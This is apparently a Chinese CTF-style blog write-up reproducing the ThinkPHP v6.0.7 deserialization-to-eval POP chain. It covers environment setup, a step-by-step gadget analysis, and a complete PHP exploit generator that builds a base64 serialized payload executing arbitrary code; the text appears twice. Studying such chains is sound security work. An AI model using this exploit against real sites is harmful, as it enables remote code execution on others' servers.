c1oud
昂波利玻玻
December 15th, 2021
之前打了很多次比赛,发现自己的代码审计功底还是太弱,毕竟做这种也太枯燥了,所以由最近的西湖论剑中有个tp6的题,复现一下这个利用链。
由于我之前用的是笔记本,现在用台式来复现的,虚拟机那些很多都是才安装的,问题也很多,所以搭建的时候出了很多问题,忙了一个中午才把环境搭建好。
这是在linux下的安装过程
直接使用 composer 安装 V6.0.7 版本的即可。
composer
V6.0.7
先下载composer
// 1. 下载composer.phar: curl -sS https://getcomposer.org/installer | php // 2. 将 composer 命令移动到bin目录,使之全局可用 mv composer.phar /usr/local/bin/composer
搭建tp环境
composer create-project topthink/think=6.0.7 tp607 cd TPv6.0 php think run
但是当用php think run的时候可能会这样
php think run
看一下里面的内容可以知道,vendor目录下为空,应该是依赖没有安装好,所以执行php composer.phar install 安装依赖,然后又出现了问题
php composer.phar install
然后网上到处找,输入这条命令
php -r "readfile('https://getcomposer.org/installer');" | php
然后又又又出现了问题
安装一下扩展依赖就好了
sudo apt-get install php-mbstring sudo apt-get install php8.1-xml=8.1.0~rc5-1
最后执行php composer.phar install 再php think run就成功了。
还要注意一下,他提醒了搭建的端口是在8000。这个搭建可谓是一波三折,还好最后是成功了的。
widows安装就很简单了 thinkphp6框架怎么下载安装 - Chervehong - 博客园 (cnblogs.com)一篇文章直接搞定。
这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。
下面手动设置漏洞点,在Index控制器中写入
也就是说这个框架本来是不存在这个漏洞的,但是由于这是入口文件的界面,当index里面的内容被设置为反序列化的可控点的话,那就会存在这个漏洞。这也是其他大师傅挖出来的一条了一条能够执行 eval 的反序列化链。
eval
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。所有,总的目的就是跟踪寻找可以触发 __toString() 魔术方法的点。
think\process\pipes\Windows
__toString
__toString()
还是从__destruct() 或 __wakeup 方法开始,因为它们就是unserialize的触发点。
__destruct()
__wakeup
__destruct() 当一个对象销毁(反序列化)时被调用 __wakeup() 将在序列化之后立即被调用
反序列化漏洞点和之前一样,在 Model 类 (vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。当然 Model 这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot 类 (vendor/topthink/tink-orm/src/model/Pivot.php ) 。
Model
(vendor/topthink/think-orm/src/Model.php)
__destuct
Pivot
(vendor/topthink/tink-orm/src/model/Pivot.php )
当满足$this->lazySave==true的时候,会调用save方法,那我们跟进一下save方法
可以看到,这里对$this->exists属性进行了判断,如果为真的话就会调用updateDate方法,否则调用insertData方法。
那么如果要进入到这,前面也需要满足响应的条件,先看到第一个if
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
首先要满足$this->isEmpty()为假,其次$this->trigger('BeforeWrite')要为真。
先跟进一下$this->isEmpty(),其实也可以看出,就是判断是否为真。
满足传入的data不为空就满足了。接着看$this->trigger('BeforeWrite')
这个也简单,让$this->withEvent为假就可以了
第一个if过了以后接着往后看
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$this->exists为真执行$this->updateData(),为假执行$this->insertData($sequence)。挨着看一下,先看一下第一个
$this->trigger('BeforeUpdate')的绕过和上面一样,但前面已经绕过了,这里不用管了,之前的tp6反序列化链已经提到这里的利用点在$this->checkAllowFields(),那么直接绕过题目中的if去看一看那个函数。
第二个if也很好绕过,data的值不为空就可以了,前面是一个对data的赋值,跟进一下$this->getChangedData()
这个也很简单,让$this->force为true,$a本来也没有传,让他返回1就好了。
第三个if不太重要,后面调用了$this->checkAllowFields(),跟进看看。大师傅们路已经挖好了,利用点在$this->db()
第一个if让$this->field为空,第二个if让$this->schema也为空就会调用$this->db()
他默认已经为空了,再具体看看db()方法是什么
看到这里用.来连接的时候相当于进行了字符串连接的操作,所以有两个可控点,当$this->table或者$this->suffix为相应的类,同时含有__toString()方法,就可以触发它了。
.
这里总结一下 由上面的分析可以得出,如果要触发__toString()方法需要满足的条件有: 1.$this->lazySave = true 2.$this->data不为空 3.$this->withEvent == false 4.$this->exists == true 5.$this->force == true
调用过程
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
但是model是抽象类,不能实例化,所以需要找到继承model的类来利用,pivot类是正好可以利用的点(位于vendortopthinkthink-ormsrcmodelPivot.php中)
至于 __toSring 魔法方法的类,我们这里选择 Url 类 (vendor/topthink/framework/src/think/route/Url.php) ,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']')) 需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/')) 需要满足最上部分,并使得 $url 的值为 ''。
__toSring
Url
(vendor/topthink/framework/src/think/route/Url.php)
if (0 === strpos($url, '[') && $pos = strpos($url, ']'))
if (false === strpos($url, '://') && 0 !== strpos($url, '/'))
$url
''
我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。
$this->url
a:
然后再看 if($url) ,由于 弱类型 比较直接略过。
if($url)
此时由于 $rule 是在 if($url){ 条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) 以及 elseif (!empty($rule) && isset($name)) 这两个也不会成立,直接略过。
$rule
if($url){
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain))
elseif (!empty($rule) && isset($name))
此时,我们来到 else{ 内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null) 这个代码为点睛之笔。显然,$this->route 是可控的,$domain 变量的值实际上就是 $this->domain ,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。
else{
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null)
$this->route
$domain
$this->domain
总结来说,满足该调用形式需要构造:
'a:'
$this->app
给个public的request属性的任意类
然后全局搜索 __call 魔法方法,在 Validate 类 (vendor/topthink/framework/src/think/Validate.php) 中存在一个可以称为 “简直为此量身定做” 的形式。
__call
Validate
(vendor/topthink/framework/src/think/Validate.php)
这里先从 __call 看起,显然在调用 call_user_func_array 函数时,相当于 $this->is([$domain,'getDomainBind']) ,其中 $domain 是可控的。
call_user_func_array
$this->is([$domain,'getDomainBind'])
跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule) 的意思实际上是将 $rule = 'getDomainBind' 的 - 和 _ 替换成 '' , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ,即返回值为 getDomainBind 。
$this->is
getDomainBind
Str::camel($rule)
$rule = 'getDomainBind'
static::$studlyCache['getDomainBind']
camel
static::$cameCache['getDomainBind']
由于 switch{ 没有一个符合 getDomainBind 的 case 值,我们可以直接看 default 的内容。 $this->type[$rule] 相当于 $this->type['getDomainBind'] ,是可控的,而 $value 值即是上边的 $domain 也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。
switch{
case
default
$this->type[$rule]
$this->type['getDomainBind']
$value
实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php) 中,这里存在一个调用 eval 的且可传 单参数 的方法 display 。
Php
(vendor/topthink/framework/src/think/view/driver/Php.php)
display
假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。
call_user_func_array(['Php类','display'],['<?php (任意代码) ?>'])
总的来说,我们只需要构造如下:
$this->type
["getDomainBind" => [Php类,'display']]
就可以了。
[可控类] -> getDomainBind([可控字符串])
call_user_func_array([可控变量],[[可控变量]])
<?php namespace think\model\concern{ trait Attribute{ private $data = [7]; } } namespace think\view\driver{ class Php{} } namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware{ public $request = 2333; } class Validate{ protected $type; function __construct(){ $this->type = [ "getDomainBind" => [new view\driver\Php,'display'] ]; } } } namespace think\model{ use think\Model; class Pivot extends Model{} } namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } } namespace{ echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>'))); }
(84条消息) thinkphp6.0漏洞复现_天问_Herbert555的博客-CSDN博客_thinkphp6 漏洞
[独家全程图解]ThinkPHP6框架的下载与安装-PHP中文网问答
记一次thinkphp6(TP6)安装的坑。 - 简书 (jianshu.com)
ThinkPHP v6.0.7 eval反序列化利用链 - 先知社区 (aliyun.com)
ThinkPHP V6.0.x 反序列化漏洞 | WHOAMI's Blog (whoamianony.top)
(86条消息) Thinkphp6.0 反序列化漏洞_feng的博客-CSDN博客
ThinkPHP v6.0.7 eval反序列化利用链
序言
之前打了很多次比赛,发现自己的代码审计功底还是太弱,毕竟做这种也太枯燥了,所以由最近的西湖论剑中有个tp6的题,复现一下这个利用链。
搭建环境
由于我之前用的是笔记本,现在用台式来复现的,虚拟机那些很多都是才安装的,问题也很多,所以搭建的时候出了很多问题,忙了一个中午才把环境搭建好。
这是在linux下的安装过程
直接使用
composer
安装V6.0.7
版本的即可。先下载
composer
搭建tp环境
但是当用
php think run
的时候可能会这样看一下里面的内容可以知道,vendor目录下为空,应该是依赖没有安装好,所以执行
php composer.phar install
安装依赖,然后又出现了问题然后网上到处找,输入这条命令
然后又又又出现了问题
安装一下扩展依赖就好了
最后执行
php composer.phar install
再php think run
就成功了。还要注意一下,他提醒了搭建的端口是在8000。这个搭建可谓是一波三折,还好最后是成功了的。
widows安装就很简单了 thinkphp6框架怎么下载安装 - Chervehong - 博客园 (cnblogs.com)一篇文章直接搞定。
利用条件
这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。
下面手动设置漏洞点,在Index控制器中写入
也就是说这个框架本来是不存在这个漏洞的,但是由于这是入口文件的界面,当index里面的内容被设置为反序列化的可控点的话,那就会存在这个漏洞。这也是其他大师傅挖出来的一条了一条能够执行
eval
的反序列化链。漏洞分析
在 ThinkPHP5.x 的POP链中,入口都是
think\process\pipes\Windows
类,通过该类触发任意类的__toString
方法。但是 ThinkPHP6.x 的代码移除了think\process\pipes\Windows
类,而POP链__toString
之后的 Gadget 仍然存在,所以我们得继续寻找可以触发__toString
方法的点。所有,总的目的就是跟踪寻找可以触发__toString()
魔术方法的点。还是从
__destruct()
或__wakeup
方法开始,因为它们就是unserialize的触发点。反序列化漏洞点和之前一样,在
Model
类(vendor/topthink/think-orm/src/Model.php)
存在一个__destuct
魔法方法。当然Model
这玩意是个抽象类,得从它的 继承类 入手,也就是Pivot
类(vendor/topthink/tink-orm/src/model/Pivot.php )
。当满足$this->lazySave==true的时候,会调用save方法,那我们跟进一下save方法
可以看到,这里对$this->exists属性进行了判断,如果为真的话就会调用updateDate方法,否则调用insertData方法。
那么如果要进入到这,前面也需要满足响应的条件,先看到第一个if
首先要满足$this->isEmpty()为假,其次$this->trigger('BeforeWrite')要为真。
先跟进一下$this->isEmpty(),其实也可以看出,就是判断是否为真。
满足传入的data不为空就满足了。接着看$this->trigger('BeforeWrite')
这个也简单,让$this->withEvent为假就可以了
第一个if过了以后接着往后看
$this->exists为真执行$this->updateData(),为假执行$this->insertData($sequence)。挨着看一下,先看一下第一个
$this->trigger('BeforeUpdate')的绕过和上面一样,但前面已经绕过了,这里不用管了,之前的tp6反序列化链已经提到这里的利用点在$this->checkAllowFields(),那么直接绕过题目中的if去看一看那个函数。
第二个if也很好绕过,data的值不为空就可以了,前面是一个对data的赋值,跟进一下$this->getChangedData()
这个也很简单,让$this->force为true,$a本来也没有传,让他返回1就好了。
第三个if不太重要,后面调用了$this->checkAllowFields(),跟进看看。大师傅们路已经挖好了,利用点在$this->db()
第一个if让$this->field为空,第二个if让$this->schema也为空就会调用$this->db()
他默认已经为空了,再具体看看db()方法是什么
看到这里用
.
来连接的时候相当于进行了字符串连接的操作,所以有两个可控点,当$this->table或者$this->suffix为相应的类,同时含有__toString()方法,就可以触发它了。调用过程
但是model是抽象类,不能实例化,所以需要找到继承model的类来利用,pivot类是正好可以利用的点(位于vendortopthinkthink-ormsrcmodelPivot.php中)
至于
__toSring
魔法方法的类,我们这里选择Url
类(vendor/topthink/framework/src/think/route/Url.php)
,首先第一个条件if (0 === strpos($url, '[') && $pos = strpos($url, ']'))
需要绕过,第二个条件if (false === strpos($url, '://') && 0 !== strpos($url, '/'))
需要满足最上部分,并使得$url
的值为''
。我们先让让
$this->url
构造成a:
,此时$url
的值也就为''
,后边的各种条件也不会成立,可以直接跳过 。然后再看
if($url)
,由于 弱类型 比较直接略过。此时由于
$rule
是在if($url){
条件内被赋值,那么if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain))
以及elseif (!empty($rule) && isset($name))
这两个也不会成立,直接略过。此时,我们来到
else{
内,其中$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null)
这个代码为点睛之笔。显然,$this->route
是可控的,$domain
变量的值实际上就是$this->domain
,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。总结来说,满足该调用形式需要构造:
$this->url
='a:'
$this->app
=给个public的request属性的任意类
然后全局搜索
__call
魔法方法,在Validate
类(vendor/topthink/framework/src/think/Validate.php)
中存在一个可以称为 “简直为此量身定做” 的形式。这里先从
__call
看起,显然在调用call_user_func_array
函数时,相当于$this->is([$domain,'getDomainBind'])
,其中$domain
是可控的。跟进
$this->is
方法,$rule
变量的值即为getDomainBind
,Str::camel($rule)
的意思实际上是将$rule = 'getDomainBind'
的 - 和 _ 替换成 '' , 并将每个单词首字母大写存入static::$studlyCache['getDomainBind']
中,然后回头先将首字母小写后赋值给camel
方法的static::$cameCache['getDomainBind']
,即返回值为 getDomainBind 。由于
switch{
没有一个符合 getDomainBind 的case
值,我们可以直接看default
的内容。$this->type[$rule]
相当于$this->type['getDomainBind']
,是可控的,而$value
值即是上边的$domain
也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到
Php
类(vendor/topthink/framework/src/think/view/driver/Php.php)
中,这里存在一个调用eval
的且可传 单参数 的方法display
。假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出
call_user_func_array(['Php类','display'],['<?php (任意代码) ?>'])
即可执行eval
了。总的来说,我们只需要构造如下:
$this->type
=["getDomainBind" => [Php类,'display']]
就可以了。
简单示图
__toString
:[可控类] -> getDomainBind([可控字符串])
进入__call
:call_user_func_array([可控变量],[[可控变量]])
执行eval
:EXP
参考链接
搭建
(84条消息) thinkphp6.0漏洞复现_天问_Herbert555的博客-CSDN博客_thinkphp6 漏洞
[独家全程图解]ThinkPHP6框架的下载与安装-PHP中文网问答
记一次thinkphp6(TP6)安装的坑。 - 简书 (jianshu.com)
攻击
ThinkPHP v6.0.7 eval反序列化利用链 - 先知社区 (aliyun.com)
ThinkPHP V6.0.x 反序列化漏洞 | WHOAMI's Blog (whoamianony.top)
(86条消息) Thinkphp6.0 反序列化漏洞_feng的博客-CSDN博客